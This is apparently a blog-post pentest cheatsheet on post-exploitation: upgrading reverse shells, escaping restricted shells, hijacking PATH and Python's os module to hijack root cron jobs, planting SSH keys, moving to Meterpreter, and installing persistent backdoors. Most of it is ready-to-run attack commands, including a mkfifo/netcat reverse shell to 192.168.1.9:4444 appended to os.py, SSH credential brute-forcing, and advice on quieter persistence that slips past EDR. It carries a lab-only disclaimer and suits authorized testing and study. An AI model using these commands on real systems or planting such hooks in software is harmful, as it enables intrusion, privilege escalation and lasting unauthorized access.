Pentest Cheatsheet

Contents

TL;DR

  • Upgrade a dumb reverse shell into a full TTY with python3 + pty, then stty/fg/reset on your side.
  • Escape restricted shells over SSH, and hijack PATH entries or Python module imports to steal a root cron.
  • Lock in access first: drop your SSH public key so you never lose the shell mid-job.
  • Go from plain shell to Meterpreter with msfvenom + multi/handler, sessions -u, or ssh_login over SSH.

This post is more like some techniques that could be useful.

Heads up before you try any of this: everything here assumes a lab or CTF-style environment you’re authorized to poke at: HackTheBox, a VM on your laptop, an engagement with paperwork. Doing it on systems you don’t own or don’t have permission to test is illegal in most jurisdictions, and no cheatsheet makes it less so. Keep it in the lab!

This post was originally published in October 2019 and updated in October 2026, so the commands have been nudged toward what runs on modern systems (read: Python 3 everywhere).

For a per-port pentesting reference, see the Port Pentesting Cheatsheet.

TTY reverse shell

Having an interactive shell is pretty important as our connection won’t hang up when doing Ctrl + C (because it doesn’t handle pretty well the SIGINT signal), allows us to autocomplete the commands and the routes, STDERR is displayed, we have command history…

To upgrade it:

# IN REMOTE COMPUTER
python3 -c 'import pty; pty.spawn("/bin/bash");'
# Ctrl + Z
#   This is to put the terminal in background

If the target still only has python on the box, use whatever binary exists (python -c ... works the same); the point is the pty module, which both Python 2 and Python 3 ship. But you should assume Python 3 in anything built this decade.

# IN OUR COMPUTER
stty raw -echo # This allows passing through STDIN and STDOUT to the other terminal
fg # We recover the Reverse Shell session
# IN REMOTE COMPUTER
reset
# If it asks for terminal type, answer: xterm-256color
export TERM=xterm-256color

And that’s how you get TTY.

Two optional tricks that make the upgraded shell feel less cramped:

# IN OUR COMPUTER, BEFORE fg
stty size                     # Check your own terminal size, e.g. "40 120"
stty rows 40 cols 120         # Re-apply those values after fg

Without it, long commands wrap weirdly because the remote shell doesn’t know your window size. Pure quality of life, but you’ll notice it immediately.

Modern alternative: socat with a raw pseudo-terminal on your listener side (socat file:$(tty),raw,echo=0 tcp-listen:<PORT>) is the maintained standard for the same goal: it’s the one tool here that has never fallen out of fashion. There are also dedicated shell handlers: calebstewart/pwncat is the one that auto-launches a shell over an incoming connection and can upgrade it to a full PTY, but check the dates before making it load-bearing; the repo was archived with the last code pushes in 2024. Cytopia’s pwncat (pwncat-cs is its cross-platform Python variant) still runs as netcat on steroids: forward/reverse shells, port forwarding magic, scriptable in Python. The manual python3/stty dance above remains what you fall back on when the box has nothing but netcat and python.

Bypassing restricted shells via SSH:

A way to bypass the restricted shell is:

ssh <user>@<IP> bash

Invoking command bash via ssh gives us a ‘reverse shell’.

This works because the restricted shell only restricts interactive logins. When SSH invokes a command for you, it often skips that wrapper entirely. If plain bash doesn’t take, try other interpreters on the box (sh, python3…).

Path Hijacking

Sometimes when a file is executed as part of a routine (in a cron, a systemd, a daemon…) it might not run with the absolute path but with a relative one.

# Absolute Path
/bin/bash

# Relative Path
bash

Relative Path commands can be altered in such a way that we can modify the PATH variable to make the OS search bash command in our directory first (PATH is read in order from left to right). This way you can make that routine execute your command instead of the original one.

# PATH example
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/snap/bin

This can be done with:

export PATH=$(pwd):$PATH

Note this tricks your own session: if su/sudo preserves your PATH (some configs do), the escalation happens at that step. If instead a cron runs as root and the script itself is writable or inherits a writable PATH, that’s the cleaner win.

Bookmark these two while you’re at it: GTFOBins catalogs Linux binaries that can be abused (SUID bits, shells, file reads/writes…) and its Windows sibling LOLBAS does the same for the built-in utilities companies never uninstall. Any time you wonder can this binary be weaponized?, the answer is already written down.

For example: In a server, in case there is a cron running fdisk as root, if you create a file called fdisk with a reverse shell (could be another thing), it will connect to you and get it with root access, as the script is being run by it.

Python modules Hijacking

This involves modifying or replacing a library that a Python script requires so that it executes our code.

Let’s say I have this script that is owned by another user:

#!/usr/bin/python3

import os

print("Hello my friend!")

If somehow this script is running in a cronjob, we can trick it to execute our code as that other user.

How?

Python 2 has been end-of-life since 2020, so on a modern box you’d be looking at the Python 3 library path instead of /usr/lib/python2.7/. As of the update, on Debian/Ubuntu-style systems that’s usually /usr/lib/python3/dist-packages/os.py, and on other distros it lives under a versioned directory like /usr/lib64/python3.*/os.py. Check with python3 -c 'import os; print(os.__file__)' on the target; it saves you all the guessing.

We can alter the behaviour of the script by:

  • Modifying the os library: If we have write access over the file we can just simply put our code at the end.
  • Replacing the os library: We may not have write access over the file but over the folder. In that case, we just have to create a test.py, put our code at the end, and then replace the library:
mv test.py os.py

The code we can put at the end of the os library to execute another code could be:

import os
# HERE THE CODE
os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.9 4444 >/tmp/f")

That reverse shell one-liner is the good old mkfifo/netcat trick; it still works exactly the same in 2026, nothing about it has aged.

Then when the script is ran by the cronjob, we would have a reverse shell!

An example of privilege escalation with this method is the Friendzone HackTheBox machine, one of the classic write-ups that shows it end to end (my old writeup is offline these days, but the machine still exists on HTB).

How to not lose a shell

If SSH is available we can copy our public key (usually in ~/.ssh/id_rsa.pub) to the server, more specifically to ~/.ssh/authorized_keys, doing so will let us SSH without the need of inputting a password or needing the private key.

To generate the keys in case we don’t have them, we run ssh-keygen and it will create them automatically.

Do this before doing anything noisy. There’s nothing worse than losing your only shell mid-exploitation because you fat-fingered a kill in the wrong terminal.

Reverse shell to meterpreter

1º Way

We can upgrade a rev. shell to meterpreter uploading a msf meterpreter shell and running it:

msfvenom -p <PAYLOAD> LHOST=<IP> LPORT=<PORT> -f <FORMAT> -o <FILE>.<EXTENSION>

Note it’s LHOST (the host that listens, i.e. you) for connect-back payloads. No matter how many examples on the internet say RHOST, that’s for the listening side of things and will just fail silently.

A good reference for msfvenom use is this page.

Then we can upload it via an upload page the machine could have, curl, wget, netcat, scp, ftp, powershell… It’s up to you.

When we’ve uploaded it, it’s time to run it and listen on the port to get the meterpreter:

# ON MSFCONSOLE
use exploit/multi/handler
set LHOST <LISTENING IP>
set LPORT <LISTENING PORT>
set payload <PAYLOAD USED IN MSFVENOM>
run

And that should get us the met. shell.

2º Way

We can upload another reverse but this time with payload ‘cmd’. When we get the connection with the cmd reverse shell:

#Putting the session on the background
background
#Upgrading cmd to meterpreter
sessions -u <ACTUAL CMD SESSION>
#After that, it should upgrade and get back to let us select between cmd or met.
#So we list the sessions to not fail.
sessions -l
#We select the one with description: meterpreter
sessions -i <MET. SESSION>

And there we are again!

Meterpreter on SSH

When having user and password it’s possible to manage ssh and upload files when wget or curl (for example) are restricted via a Metasploit Module or even with scp command:

# Login in msf
msfconsole
# Use the module
use auxiliary/scanner/ssh/ssh_login
# Set parameters
set rhosts <remote ip>
set username <user>
set password <pass>
# 💥
run

# After creating session, upgrade it!
sessions -u <session>

This module is as stable as Metasploit gets: as of the update it’s still the standard way to brute-force or validate SSH credentials inside a framework session, and sessions -u still does the shell-to-meterpreter upgrade on eligible targets.

Backdoor

A backdoor is a remote persistent connection, what it means is that we can connect to the machine even when we disconnect or the pc reboots, it’ll always be waiting for a connection or throwing it to us. There are service backdoors, web shells…

# IN METERPRETER
ps
# WE TAKE THE PID OF EXPLORER.EXE (WINDOWS)
migrate <PID>
run metsvc

Or we can run:

# IN METERPRETER
run persistence -A -L c:\\ -X SECS -p <OPEN PORT> -r <LHOST>
# Checks connection every SECS seconds

And now we have a service listening on us.

Fair warning, as of the update: metsvc and run persistence are the old-school meterpreter scripts and they’re loud; any decent EDR pastes an alert on them immediately. In an authorized engagement with modern defenses, a scheduled task (schtasks) running your payload is usually the quieter route. In a lab, the scripts above are still great for learning the concept.

Backdoor Resources:

Back to all Posts